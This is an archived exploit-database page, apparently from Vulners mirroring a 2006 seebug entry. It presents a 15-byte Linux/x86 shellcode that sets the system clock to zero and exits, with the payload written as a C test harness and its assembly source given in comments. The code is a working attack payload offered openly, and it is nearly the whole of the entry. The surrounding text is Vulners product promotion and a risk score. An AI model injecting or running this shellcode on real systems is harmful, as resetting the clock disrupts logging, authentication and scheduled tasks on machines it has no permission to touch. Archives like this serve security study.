Lucene search
K

linux/x86 set system time to 0 and exit 15 bytes

🗓️ 18 Nov 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

linux/x86 set system time to 0 and exit 15 bytes shellcode to set system time to 0 and exi

Code

                                                /* By Kris Katterjohn 11/14/2006
 *
 * 15 byte shellcode to set system time to 0 and exit. No real damage :)
 *
 * exit() code is the last 5 bytes (0x6a - 0x80)
 *
 * for Linux/x86
 *
 *
 *
 * section .text
 *
 *	global _start
 *
 * _start:
 *
 * ; stime([0])
 *
 *	push byte 25
 *	pop eax
 *	xor ecx, ecx
 *	push ecx
 *	mov ebx, esp
 *	int 0x80
 *
 * ; exit()
 *	push byte 1
 *	pop eax
 *	int 0x80
 */

main()
{
	char shellcode[] =
		"\x6a\x19\x58\x31\xc9\x51\x89\xe3\xcd\x80\x6a\x01\x58\xcd\x80";

	(*(void (*)()) shellcode)();
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Nov 2006 00:00Current
7.1High risk
Vulners AI Score7.1
17